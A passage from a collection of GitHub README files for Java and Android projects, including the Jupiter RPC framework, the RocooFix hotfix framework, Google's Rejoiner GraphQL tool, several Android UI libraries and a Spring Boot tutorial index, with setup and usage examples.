are investigating navigation solutions and you are okay with JavaScript-based solutions, we also encourage you to check out [React Navigation](https://reactnavigation.org/). ## Contributing See the [Contributors Guide](/CONTRIBUTING.md) ## FAQ See the [Frequently Asked Questions](/docs/FAQ.md) page ## License This project is licensed under the [MIT License](/LICENSE.md).

fengjiachun/Jupiter

Jupiter是一款性能非常不错的, 轻量级的分布式服务框架

2015-10-23T15:04:14Z

[](/LICENSE) [](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.jupiter-rpc%22%20AND%20jupiter) [](https://travis-ci.org/fengjiachun/Jupiter) [](https://lgtm.com/projects/g/fengjiachun/Jupiter/context:java) [](https://lgtm.com/projects/g/fengjiachun/Jupiter/alerts) #### Jupiter: - Jupiter 是一款性能非常不错的, 轻量级的分布式服务框架 #### Jupiter Architecture: ═ ═ ═▷ init ─ ─ ─ ▷ async ──────▶ sync ---------------------------------------------------------------------------------------- ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┌ ─ ─ ─ ┐ │ ─ ─ ─ ─ ─ ─ ─ ─ ─│ Registry Monitor ───────────────────────────┐ │ └ ─ ─ ─ ┘ │ │ └ ─ ─△─ ─ ─ ─ ─△─ ─ ─ ▼ │ ┌ ─ ─ ─ ─ Notify ║ ║ Telnet │ │ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ ═ └ ─ ─ ─ ─ ║ ║ ▲ │ Subscribe Register │ ║ ║ │ │ ┌ ─ ─ ─ ─ ─ ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ │ │─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ▷ ┌ ─ ─ ─ ┐ │ │ └ ▷│ Consumer Invoke │ Provider Monitor ─────┘ │────────────────────────▶ └ ─ ─ ─ ┘ │ └ ─ ─ ─ ─ ─ └ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ --------------------------------------------------------------------------------------- #### [RELEASE-NOTES](/docs/release-notes.md) #### 性能: - 小数据包请求(不带业务)在四核刀片服务器上可达到17w+的tps, 详情见 [Benchmark](https://github.com/fengjiachun/Jupiter/wiki/Benchmark) - [参考: 多个 RPC 框架的 Benchmark 见这里](https://github.com/hank-whu/rpc-benchmark) #### 文档: - [High performance RPC with netty](/docs/static_files/high_performance_rpc_with_netty.md) - [High performance RPC with netty.pdf](/docs/static_files/high_performance_rpc_with_netty.pdf) - [Wiki](https://github.com/fengjiachun/Jupiter/wiki) - [其他文档](https://github.com/fengjiachun/doc/tree/master/jupiter) - [发展路线](https://github.com/fengjiachun/Jupiter/wiki/RoadMap) #### 一次 RPC 调用: <img src="docs/static_files/jupiter-rpc.png" width="1600"/> <p align="right">感谢 @远墨 提供的图</p> #### 快速开始: ##### 工程依赖: + JDK1.8 或更高版本 + 依赖管理工具: Maven3.x 版本 ##### [最新版本OSS下载](https://oss.sonatype.org/#nexus-search;quick~org.jupiter-rpc) ##### [最新版本Maven中心仓库下载](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.jupiter-rpc%22%20AND%20jupiter) ##### Maven依赖: ```xml <dependency> <groupId>org.jupiter-rpc</groupId> <artifactId>jupiter-all</artifactId> <version>${jupiter.version}</version> </dependency> ``` ##### 简单调用示例: ###### 1. 创建服务接口: ```java @ServiceProvider(group = "test", name = "serviceTest") public interface ServiceTest { String sayHelloString(); } @ServiceProvider: - 建议每个服务接口通过此注解来指定服务信息, 如不希望业务代码对jupiter依赖也可以不使用此注解而手动去设置服务信息 + group: 服务组别(选填, 默认组别为'Jupiter') + name: 服务名称(选填, 默认名称为接口全限定名称) ``` ###### 2. 创建服务实现: ```java @ServiceProviderImpl(version = "1.0.0") public class ServiceTestImpl implements ServiceTest { @Override public String sayHelloString() { return "Hello jupiter"; } } @ServiceProviderImpl: - 建议每个服务实现通过此注解来指定服务版本信息, 如不希望业务代码对jupiter依赖也可以不使用此注解而手动去设置版本信息 + version: 服务版本号(选填, 默认版本号为'1.0.0') ``` ###### 3. 启动注册中心: ###### - 选择1: 使用 jupiter 默认的注册中心: ```java public class HelloJupiterRegistryServer { public static void main(String[] args) { // 注册中心 RegistryServer registryServer = RegistryServer.Default.createRegistryServer(20001, 1); try { registryServer.startRegistryServer(); } catch (InterruptedException e) { e.printStackTrace(); } } } ``` ###### - 选择2: 使用 [zookeeper](https://zookeeper.apache.org/doc/trunk/zookeeperStarted.html) 作为注册中心: ```xml 默认注册中心只建议在测试环境使用, 线上建议使用 zookeeper 实现 // 设置使用 zookeeper 作为注册中心 JServer server = new DefaultServer(RegistryService.RegistryType.ZOOKEEPER) JClient client = new DefaultClient(RegistryService.RegistryType.ZOOKEEPER) 在 server 和 client 中配置 jupiter-registry-zookeeper 依赖(jupiter-all 包含 jupiter-registry-zookeeper) <dependency> <groupId>org.jupiter-rpc</groupId> <artifactId>jupiter-registry-zookeeper</artifactId> <version>${jupiter.version}</version> </dependency> ``` ###### 4. 启动服务提供(Server): ```java public class HelloJupiterServer { public static void main(String[] args) throws Exception { JServer server = new DefaultServer().withAcceptor(new JNettyTcpAcceptor(18090)); // provider ServiceTestImpl service = new ServiceTestImpl(); // 本地注册 ServiceWrapper provider = server.serviceRegistry() .provider(service) .register(); // 连接注册中心 server.connectToRegistryServer("127.0.0.1:20001"); // 向注册中心发布服务 server.publish(provider); // 启动server server.start(); } } ``` ###### 5. 启动服务消费者(Client) ```java public class HelloJupiterClient { public static void main(String[] args) { JClient client = new DefaultClient().withConnector(new JNettyTcpConnector()); // 连接RegistryServer client.connectToRegistryServer("127.0.0.1:20001"); // 自动管理可用连接 JConnector.ConnectionWatcher watcher = client.watchConnections(ServiceTest.class); // 等待连接可用 if (!watcher.waitForAvailable(3000)) { throw new ConnectFailedException(); } ServiceTest service = ProxyFactory.factory(ServiceTest.class) .version("1.0.0") .client(client) .newProxyInstance(); service.sayHelloString(); } } ``` [Server/Client 代码示例](/jupiter-example/src/main/java/org/jupiter/example/round) ###### 新特性 v1.3 新增 `InvokeType.AUTO`, 当你的接口返回值是一个 `CompletableFuture` 或者它的子类将自动适配为异步调用, 否则为同步调用 [具体 demo 请参考这里](/jupiter-example/src/main/java/org/jupiter/example/round/AutoJupiterClient.java) ##### 结合Spring使用示例: ###### 1. [Server端配置](/jupiter-example/src/main/resources/spring-provider.xml): ```xml <jupiter:server id="jupiterServer" registryType="default"> <!-- registryType="zookeeper" 代表使用zk作为注册中心 --> <jupiter:property registryServerAddresses="127.0.0.1:20001" /> </jupiter:server> <!-- provider --> <bean id="serviceTest" class="org.jupiter.example.ServiceTestImpl" /> <jupiter:provider id="serviceTestProvider" server="jupiterServer" providerImpl="serviceTest"> <jupiter:property weight="100"/> </jupiter:provider> ``` ###### 2. [Client 端配置](/jupiter-example/src/main/resources/spring-consumer.xml): ```xml <jupiter:client id="jupiterClient" registryType="default"> <!-- registryType="zookeeper" 代表使用zk作为注册中心 --> <jupiter:property registryServerAddresses="127.0.0.1:20001" /> </jupiter:client> <!-- consumer --> <jupiter:consumer id="serviceTest" client="jupiterClient" interfaceClass="org.jupiter.example.ServiceTest"> <jupiter:property version="1.0.0.daily" /> <jupiter:property serializerType="proto_stuff" /> <jupiter:property loadBalancerType="round_robin" /> <jupiter:property timeoutMillis="3000" /> <jupiter:property clusterStrategy="fail_over" /> <jupiter:property failoverRetries="2" /> <jupiter:methodSpecials> <!-- 方法的单独配置 --> <jupiter:methodSpecial methodName="sayHello" timeoutMillis="5000" clusterStrategy="fail_fast" /> </jupiter:methodSpecials> </jupiter:consumer> ``` [SpringServer/SpringClient 代码示例](/jupiter-example/src/main/java/org/jupiter/example/spring) ##### [更多示例代码](/jupiter-example/src/main/java/org/jupiter/example) #### 其他 - qq交流群: 397633380 - 邮件交流: jiachun_fjc@163.com

dodola/RocooFix

another hotfix framework

2016-05-25T11:58:00Z

# RocooFix Another hotfix framework ## update 新写了一个框架原理与美团robust框架类似，具体看这里:[**AnoleFix**](https://github.com/dodola/AnoleFix) 之前的HotFix项目太过简单，也有很多同学用Nuwa遇到很多问题，作者也不再修复，所以重新构建了一套工具。  ## 遇到问题的同学可以看一下这里 https://github.com/shoyu666/derocoodemo ## Bugfix 1. 2016-06-26 * 增加了 Android N (API 24)的支持 * 增加了关联引用的补丁制作模块，解决 ART NativeCode address 位置错误引起的崩溃问题，但是会造成包大小的增加，后期会支持微信提出的 Dexdiff 技术 ## Features * **支持两种模式**： 1. 静态修复某种情况下需要重启应用。 2. 动态修复，无需重启应用即可生效。 3. 新增so修复，beta中 * **支持DalvikVM和ART VM** * 制作补丁更加方便 * 支持`com.android.tools.build:gradle:1.3.0`->`com.android.tools.build:gradle:2.1.2` (解决了Nuwa 这个[issue][1]) * 支持混淆和Mulitdex * 无需关注`hash.txt`和`mapping.txt`文件的生成和保存 ## TODO * 补充单测 * 兼容性测试 * 目录规则调整 * 对Win系统的支持 ## Use ```java public class RocooApplication extends Application { @Override protected void attachBaseContext(Context base) { super.attachBaseContext(base); //初始化 RocooFix.init(this); } } //方案1：静态启用，一般在Application里加载补丁 /** * 从Assets里取出补丁，一般用于测试 * * @param context * @param assetName */ RocooFix.initPathFromAssets(Context context, String assetName); /** * 从指定目录加载补丁 * @param context * @param dexPath */ RocooFix.applyPatch(Context context, String dexPath); //方案2：动态打补丁，立即生效，有性能问题，适用于补丁方法数较少的情况，建议在ART虚拟机里启用该模式 /** * 从Asset里加载补丁，一般用于本地测试 * @param context * @param assetName */ RocooFix.initPathFromAssetsRuntime(Context context, String assetName) ; /** * 从指定目录加载补丁 * @param context * @param dexPath */ RocooFix.applyPatchRuntime(Context context, String dexPath) ; /** * * new Feature beta 中 * 从指定目录加载so补丁，使用so还需调用System.loadLibrary("xx") * @param context * @param soDirPath so补丁路径(这里是dir) */ RocooSoFix.applyPatch(Context context, String soDirPath); ``` ## Configuration 1 在root的`build.gradle`增加如下内容: ```groovy repositories { jcenter() } dependencies { classpath 'com.dodola:rocoofix:1.2.6’ } ``` 2 在你项目的`build.gradle`文件里添加如下配置 ```groovy apply plugin: 'com.dodola.rocoofix' repositories { jcenter() } rocoo_fix { includePackage = ['com/dodola/rocoosample']//指定将来可能需要制作补丁的package(就是指定插庄的范围) excludeClass = ['BaseApplication.class']//将不需要加到patch里的类写在这里(不需要插庄的类) preVersionPath = '1'//注意：此项属性只在需要制作补丁的时候才需开启！！如果不需要制作补丁则需要去掉此项 enable = true//注意：关掉此项会无法生成Hash.txt文件 scanref=true//默认为 false，开启这个选项会将与补丁 class 相引用的 class 都打入包中来解决 ART 虚拟机崩溃问题，功能 Beta 中 } dependencies { compile 'com.dodola:rocoo:1.1' } ``` 这里主要介绍一下`preVersionPath`这个属性的作用。 `rocoo_fix`将制作补丁的步骤透明化，用户无需手动备份hash.txt文件，插件会自动根据当前的`versionCode`生成`hash.txt`和`mapping.txt`文件到指定目录，比如： 上一个版本发布的时候版本号是`1`，那么生成的文件会放在`app源码目录/rocooFix/version1/[debug]|[release]`的目录下，如果需要制作补丁那么在配置里指定`preVersionPath` 属性，它的值是上一个版本的版本号，这里的值是`1`， 然后将`build.gradle`的`versionCode`的号码修改，这里修改成`2`，只要和之前的版本不同就可以，没有具体值的要求 ## Proguard(混淆) ``` -keep class com.dodola.rocoofix.** {*;} -keep class com.lody.legend.** {*;} -keepclassmembers class com.dodola.rocoosample.** { public <init>();//保留init,和include package保持一致 } ``` ## Build Patch 下面演示一下使用项目demo生成补丁的制作过程 1 假如我们需要打补丁的文件是 ```java package com.dodola.rocoosample; public class HelloHack { public String showHello() { return "hello world"; } } ``` 此时`build.gradle`里的`VersionCode`是`1`  2 运行一次应用，这时会在`app`的目录下生成如下文件：  这里可以看做是我们已经发布版本的`hash.txt` 3 假设我们需要修复步骤1 里的`showHello`方法，修改如下： ```java package com.dodola.rocoosample; public class HelloHack { public String showHello() { return "hello Hack";//此处修复，补丁加载后该方法返回hello hack } } ``` 4 修改build.gradle 文件里`rocoo_fix`项，让其执行patch 的task，配置如下 ```gradle rocoo_fix { preVersionPath = '1'//注意：这里指定的是需要打补丁的VersionCode enable = true } ``` 5 修改当前项目的`versionCode`为`2`，说明这个是一个升级fix版本。  6 正常发布应用，此时会在下图所示的路径中生成补丁文件：  7 我们可以反编译apk来确认插庄是否成功  ## 相关项目 [Legend](https://github.com/asLody/legend) [1]:https://github.com/jasonross/Nuwa/issues/65

eacdy/spring-cloud-study

开源书《跟我学Spring Cloud》的配套代码。讨论QQ群：731548893

2016-08-26T09:35:58Z

# 简介 * 2016-Brixton目录：开源书<http://www.gitee.com/itmuch/spring-cloud-book> 配套源码； * 2018-Finchley目录：跟我学Spring Cloud系列博客（<http://www.itmuch.com/>）配套源码。 ## 宣传语 * 微服务架构交流QQ群：731548893，欢迎加入。 * 

jenly1314/KingTV

📺 【停止维护】高仿全民直播（全民TV），项目采用 MVP + RXJava + Retrofit + OKHttp + Material Design + Dagger2 + Base + Glide + GreenDao构建。因为全民TV已经凉了，导致App已经连不上了。在这里特意向你推荐MVPFrame： https://github.com/jenly1314/MVPFrame 和你值得拥有的MVVMFrame快速开发框架: https://github.com/jenly1314/MVVMFrame

2017-03-23T09:21:11Z

# KingTV [](https://raw.githubusercontent.com/jenly1314/KingsTV/master/app/app-release.apk) [](https://android-arsenal.com/api?level=15) [](https://opensource.org/licenses/mit-license.php) 本App 采用 MVP + RXJava + Retrofit + OKHttp + Material Design + Dagger2 + Base + Glide + GreenDao构建，高仿全民直播Android App,欢迎大家Star或Fork。 ## Gif展示  > 录制的gif效果有点不清晰，可以直接[下载App](https://raw.githubusercontent.com/jenly1314/KingsTV/master/app/app-release.apk)体验效果。 ## 版本记录 #### 2017-5-10 v1.2 * 新增搜索功能 * 集成[NeverCrash](https://github.com/jenly1314/NeverCrash) #### 2017-5-3 v1.1 * 新增Showing类型竖屏播放支持 * 优化播放的流地址逻辑 #### 2017-3-23 v1.0 * 初始化版本，完成主要核心功能 ## 声明 #### 本项目纯属个人作品，是高仿全民直播Android App 3.0.1版本，仅供技术参考，请维护全民直播平台的合法权益，禁止用于一切商业用途。如有疑问请联系作者，谢谢合作。 ## 赞赏 如果您喜欢KingTV，或感觉KingTV帮助到了您，可以点右上角“Star”支持一下，您的支持就是我的动力，谢谢 :smiley: <p>您也可以扫描下面的二维码，请作者喝杯咖啡 :coffee: <div> <img src="https://jenly1314.github.io/image/page/rewardcode.png"> </div> ## 关于我 | 我的博客 | GitHub | Gitee | CSDN | 博客园 | |:------------------------------------------------------------------------------------|:----------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------| | <a title="我的博客" href="https://jenly1314.github.io" target="_blank">Jenly's Blog</a> | <a title="GitHub开源项目" href="https://github.com/jenly1314" target="_blank">jenly1314</a> | <a title="Gitee开源项目" href="https://gitee.com/jenly1314" target="_blank">jenly1314</a> | <a title="CSDN博客" href="http://blog.csdn.net/jenly121" target="_blank">jenly121</a> | <a title="博客园" href="https://www.cnblogs.com/jenly" target="_blank">jenly</a> | ## 联系我 | 微信公众号 | Gmail邮箱 | QQ邮箱 | QQ群 | QQ群 | |:-------------|:---------------------------------------------------------------------------------|:----------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------| | [Jenly666](http://weixin.qq.com/r/wzpWTuPEQL4-ract92-R) | <a title="给我发邮件" href="mailto:jenly1314@gmail.com" target="_blank">jenly1314</a> | <a title="给我发邮件" href="mailto:jenly1314@vip.qq.com" target="_blank">jenly1314</a> | <a title="点击加入QQ群" href="https://qm.qq.com/cgi-bin/qm/qr?k=6_RukjAhwjAdDHEk2G7nph-o8fBFFzZz" target="_blank">20867961</a> | <a title="点击加入QQ群" href="https://qm.qq.com/cgi-bin/qm/qr?k=Z9pobM8bzAW7tM_8xC31W8IcbIl0A-zT" target="_blank">64020761</a> | <div> <img src="https://jenly1314.github.io/image/page/footer.png"> </div>

google/rejoiner

Generates a unified GraphQL schema from gRPC microservices and other Protobuf sources

2017-12-06T19:09:53Z

# Rejoiner [](https://travis-ci.org/google/rejoiner) [](https://coveralls.io/github/google/rejoiner?branch=master) <!-- [](https://www.codacy.com/app/siderakis/rejoiner?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=google/rejoiner&amp;utm_campaign=Badge_Grade) --> [](http://mvnrepository.com/artifact/com.google.api.graphql/rejoiner/0.0.4) - Creates a uniform GraphQL schema from microservices - Allows the GraphQL schema to be flexibly defined and composed as shared components - Generates GraphQL types from Proto definitions - Populates request Proto based on GraphQL query parameters - Supplies a DSL to modify the generated schema - Joins data sources by annotating methods that fetch data - Creates Proto [FieldMasks](https://developers.google.com/protocol-buffers/docs/reference/java/com/google/protobuf/FieldMask) based on GraphQL selectors  ## Experimental Features These features are actively being developed. - Expose any GraphQL schema as a gRPC service. - Lossless end to end proto scalar types when using gRPC. - Relay support [[Example](examples-gradle/src/main/java/com/google/api/graphql/examples/library)] - GraphQL Stream (based on gRPC streaming) [[Example](examples-gradle/src/main/java/com/google/api/graphql/examples/streaming)] ## Schema Module SchemaModule is a Guice module that is used to generate parts of a GraphQL schema. It finds methods and fields that have Rejoiner annotations when it's instantiated. It then looks at the parameters and return type of these methods in order to generate the appropriate GraphQL schema. Examples of queries, mutations, and schema modifications are presented below. ## GraphQL Query ```java final class TodoQuerySchemaModule extends SchemaModule { @Query("listTodo") ListenableFuture<ListTodoResponse> listTodo(ListTodoRequest request, TodoClient todoClient) { return todoClient.listTodo(request); } } ``` In this example `request` is of type `ListTodoRequest` (a protobuf message), so it's used as a parameter in the generated GraphQL query. `todoService` isn't a protobuf message, so it's provided by the Guice injector. This is useful for providing rpc services or database access objects for fetching data. Authentication data can also be provided here. Common implementations for these annotated methods: - Make gRPC calls to microservices which can be implemented in any language - Load protobuf messages directly from storage - Perform arbitrary logic to produce the result ## GraphQL Mutation ```java final class TodoMutationSchemaModule extends SchemaModule { @Mutation("createTodo") ListenableFuture<Todo> createTodo( CreateTodoRequest request, TodoService todoService, @AuthenticatedUser String email) { return todoService.createTodo(request, email); } } ``` ## Adding edges between GraphQL types In this example we are adding a reference to the User type on the Todo type. ```java final class TodoToUserSchemaModule extends SchemaModule { @SchemaModification(addField = "creator", onType = Todo.class) ListenableFuture<User> todoCreatorToUser(UserService userService, Todo todo) { return userService.getUserByEmail(todo.getCreatorEmail()); } } ``` In this case the Todo parameter is the parent object which can be referenced to get the creator's email. This is how types are joined within and across APIs.  ## Removing a field ```java final class TodoModificationsSchemaModule extends SchemaModule { @SchemaModification TypeModification removePrivateTodoData = Type.find(Todo.getDescriptor()).removeField("privateTodoData"); } ``` ## Building the GraphQL schema ```java import com.google.api.graphql.rejoiner.SchemaProviderModule; public final class TodoModule extends AbstractModule { @Override protected void configure() { // Guice module that provides the generated GraphQLSchema instance install(new SchemaProviderModule()); // Install schema modules install(new TodoQuerySchemaModule()); install(new TodoMutationSchemaModule()); install(new TodoModificationsSchemaModule()); install(new TodoToUserSchemaModule()); } } ``` ## Getting started ### Dependency information Apache Maven ```xml <dependency> <groupId>com.google.api.graphql</groupId> <artifactId>rejoiner</artifactId> <version>0.0.4</version> </dependency> ``` Gradle/Grails `compile 'com.google.api.graphql:rejoiner:0.0.4'` Scala SBT `libraryDependencies += "com.google.api.graphql" % "rejoiner" % "0.0.4"` ## Supported return types All generated proto messages extend `Message`. - Any subclass of `Message` - `ImmutableList<? extends Message>` - `ListenableFuture<? extends Message>` - `ListenableFuture<ImmutableList<? extends Message>>` ## Project information - Rejoiner is built on top of [GraphQL-Java](https://github.com/graphql-java/graphql-java) which provides the core GraphQL capabilities such as query parsing, validation, and execution. - Java code is formatted using [google-java-format](https://github.com/google/google-java-format). - Note: This is not an official Google product.

traex/CalendarListview

Implementation of a calendar in a ListView. One month by row

2014-09-10T15:11:59Z

CalendarListview ================  CalendarListview provides a easy way to select dates with a calendar for API 10+. [You can find a sample](https://github.com/traex/CalendarListview/blob/master/sample/) that show how to add DatePickerView to your layout without customization.  ### Integration The lib is available on Maven Central, you can find it with [Gradle, please](http://gradleplease.appspot.com/#calendarlistview) ``` xml dependencies { compile 'com.github.traex.calendarlistview:library:1.2.3' } ``` ### Usage Declare a DayPickerView inside your layout XML file: ``` xml <com.andexert.calendarlistview.library.DayPickerView android:id="@+id/pickerView" xmlns:calendar="http://schemas.android.com/apk/res-auto" android:layout_width="match_parent" android:layout_height="match_parent"/> ``` Next, you have to implement `DatePickerController` in your Activity or your Fragment. You will have to set `getMaxYear` and `onDayOfMonthSelected`. The first one is the max year between the current one and this maxYear. The second one is called every time user selects a new date. ``` java @Override public int getMaxYear() { return 2015; } @Override public void onDayOfMonthSelected(int year, int month, int day) { Log.e("Day Selected", day + " / " + month + " / " + year); } ``` --- ### Customization CalendarListview is fully customizable: * app:colorCurrentDay [color def:#ff999999] --> The current day is always in bold but you can change its color * app:colorSelectedDayBackground [color def:#E75F49] --> If you click on a day, a circle indicator or a rouded rectangle indicator will be draw. * app:colorSelectedDayText [color def:#fff2f2f2] --> This is the text color of a selected day * app:colorPreviousDay [color def:#ff999999] --> In the current month you can choose to have a specific color for the past days * app:colorNormalDay [color def:#ff999999] --> Default text color for a day * app:colorMonthName [color def:#ff999999] --> Month name and year text color * app:colorDayName [color def:#ff999999] --> Day name text color * app:textSizeDay [dimension def:16sp] --> Font size for numeric day * app:textSizeMonth [dimension def:16sp] --> Font size for month name * app:textSizeDayName [dimension def:10sp] --> Font size for day name * app:headerMonthHeight [dimension def:50dip] --> Height of month name * app:drawRoundRect [boolean def:false] --> Draw a rounded rectangle for selected days instead of a circle * app:selectedDayRadius [dimension def:16dip] --> Set radius if you use default circle indicator * app:calendarHeight [dimension def:270dip] --> Height of each month/row * app:enablePreviousDay [boolean def:true] --> Enable past days in current month * app:currentDaySelected [boolean def:false] --> Select current day by default * app:firstMonth [enum def:-1] --> Start listview at the specified month * app:lastMonth [enum def:-1] --> End listview at the specified month ### Contact You can reach me at [+RobinChutaux](https://plus.google.com/+RobinChutaux) or for technical support feel free to open an issue [here](https://github.com/traex/CalendarListview/issues) :) ### Acknowledgements Thanks to [Flavien Laurent](https://github.com/flavienlaurent) for his [DateTimePicker](https://github.com/flavienlaurent/datetimepicker). ### MIT License ``` The MIT License (MIT) Copyright (c) 2014 Robin Chutaux Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ```

jlmd/AnimatedCircleLoadingView

An animated circle loading view

2015-07-08T20:13:57Z

Animated Circle Loading View ========= [ ](https://bintray.com/jlmd/maven/AnimatedCircleLoadingView/_latestVersion) [](https://android-arsenal.com/details/1/2112) A determiante/indetermiante loading view animation. Based on [android-watch-loading-animation](http://www.materialup.com/posts/android-watch-loading-animation) by [Nils Banner](http://www.materialup.com/NilsMedia). How it looks ----   Usage ---- Add AnimatedCircleLoadingView to your layout and define mainColor and secondaryColor as custom attributes: ```java <com.github.jlmd.animatedcircleloadingview.AnimatedCircleLoadingView xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@+id/circle_loading_view" android:layout_width="250dp" android:layout_height="250dp" android:background="@color/background" android:layout_centerInParent="true" app:animCircleLoadingView_mainColor="@color/main_color" app:animCircleLoadingView_secondaryColor="@color/secondary_color" app:animCircleLoadingView_textColor="@android:color/white" /> ``` ##### Determinate Start determinate: ```java animatedCircleLoadingView.startDeterminate(); ``` Modify percent: ```java animatedCircleLoadingView.setPercent(10); ``` If percent is 100, the animation ends with success animation. On error you must call stopFailure() method, then the application ends with failure animation. ##### Indeterminate Start indeterminate: ```java animatedCircleLoadingView.startIndeterminate(); ``` Stop with success: ```java animatedCircleLoadingView.stopOk(); ``` Stop with failure: ```java animatedCircleLoadingView.stopFailure(); ``` Reset loading: ```java animatedCircleLoadingView.resetLoading(); ``` Gradle dependency ---- Add repository to your build.gradle ```groovy repositories { maven { url "http://dl.bintray.com/jlmd/maven" } } ``` Add dependency to your build.gradle ```groovy compile 'com.github.jlmd:AnimatedCircleLoadingView:1.1.5@aar' ``` Developed by --- José Luis Martín - <joseluis.martind@gmail.com> * [LinkedIn](https://www.linkedin.com/in/jlmartind) * [Twitter](https://twitter.com/jlmartind) License ---- ``` Copyright 2015 José Luis Martín Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ```

timebusker/spring-boot

spring-boot 项目实践总结

2017-04-13T11:54:57Z

## Spring Boot ## [我的blog地址：https://www.timebusker.top/，持续更新.....](https://timebusker.github.io/) ----------------- <h2 align="center">:heart::heart::heart:如果觉得我的文章或者代码对您有帮助,可以请我喝杯咖啡哦:heart::heart::heart:</h2> <div align="center"> <img src="https://raw.githubusercontent.com/timebusker/timebusker.github.io/master/mine/wxpay.png?raw=true" width = "200" height = "200" alt="WXPAY" align=center /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img src="https://raw.githubusercontent.com/timebusker/timebusker.github.io/master/mine/alipay.png?raw=true" width = "200" height = "200" alt="ALIPAY" align=center /> </div> <h2 align="center">:smile::smile::smile:您的支持将鼓励我继续创作...谢谢!:smile::smile::smile:</h2> ----------------- Spring Boot是由Pivotal团队提供的全新框架，其设计目的是用来简化新Spring应用的初始搭建以及开发过程。 该框架使用了特定的方式来进行配置，从而使开发人员不再需要定义样板化的配置。通过这种方式， Spring Boot致力于在蓬勃发展的快速应用开发领域（rapid application development）成为领导者。 Spring Boot 项目旨在简化创建产品级的 Spring 应用和服务。你可通过它来选择不同的 Spring 平台。 可创建独立的 Java 应用和 Web 应用，同时提供了命令行工具来允许 'spring scripts'。 下图显示 Spring Boot 在 Spring 生态中的位置： &emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;  该项目主要的目的是： + 为 Spring 的开发提供了更快更广泛的快速上手 + 使用默认方式实现快速开发 + 提供大多数项目所需的非功能特性，诸如：嵌入式服务器、安全、心跳检查、外部配置等 ### 模块列表 ---- #### 第一个模块：[....................................入门程序](https://github.com/timebusker/spring-boot/tree/master/spring-boot-1-QuickStart/) #### 第二个模块：[....................................完美支持RESTful API](https://github.com/timebusker/spring-boot/tree/master/spring-boot-2-RESTful/) #### 第三个模块：[....................................整合多个日志框架：Log4j、Log4j2、Logback](https://github.com/timebusker/spring-boot/tree/master/spring-boot-3-logs/) #### 第四个模块：[....................................使用定时任务](https://github.com/timebusker/spring-boot/tree/master/spring-boot-4-Scheduled/) #### 第五个模块：[....................................使用@Async实现异步调用](https://github.com/timebusker/spring-boot/tree/master/spring-boot-5-Async/) #### 第六个模块：[....................................统一异常捕获处理](https://github.com/timebusker/spring-boot/tree/master/spring-boot-6-GlobalException/) #### 第七个模块：[....................................集成Ehcache缓存框架](https://github.com/timebusker/spring-boot/tree/master/spring-boot-7-EhCache/) #### 第八个模块：[....................................集成AOP面向切面编程](https://github.com/timebusker/spring-boot/tree/master/spring-boot-8-AOP/) #### 第九个模块：[....................................集成JavaMailSender](https://github.com/timebusker/spring-boot/tree/master/spring-boot-9-JavaMailSender/) #### 第十个模块：[....................................使用spring-data持久层](https://github.com/timebusker/spring-boot/tree/master/spring-boot-10-SpringData/) #### 第十一个模块：[................................集成SpringSecurity安全框架](https://github.com/timebusker/spring-boot/tree/master/spring-boot-11-SpringSecurity/) #### 第十二个模块：[................................集成Swagger2构建强大的RESTful API](https://github.com/timebusker/spring-boot/tree/master/spring-boot-12-Swagger2/) #### 第十三个模块：[................................集成MyBatis持久层框架](https://github.com/timebusker/spring-boot/tree/master/spring-boot-13-MyBatis/) #### 第十四个模块：[................................使用spring JdbcTemplate持久层框架](https://github.com/timebusker/spring-boot/tree/spring-boot-14-JdbcTemplate/) #### 第十五个模块：[................................集成Redis中间件项目实践](https://github.com/timebusker/spring-boot/tree/master/spring-boot-15-Redis/) #### 第十六个模块：[................................使用Transcation保证数据一致性](https://github.com/timebusker/spring-boot/tree/master/spring-boot-16-Transcation/) #### 第十七个模块：[................................应用的健康监控](https://github.com/timebusker/spring-boot/tree/master/spring-boot-17-monitor/) #### 第十八个模块：[................................消息队列实践](https://github.com/timebusker/spring-boot/tree/master/spring-boot-18-MQ/) #### 第十九个模块：[................................Spring Boot自定义Starter](https://github.com/timebusker/spring-boot/tree/master/spring-boot-19-Definition-Starter/) #### 第二十个模块：[................................Spring Boot结合Freemaker使用](https://github.com/timebusker/spring-boot/tree/master/spring-boot-20-Freemarker/) #### 第二十一个模块：[................................Spring 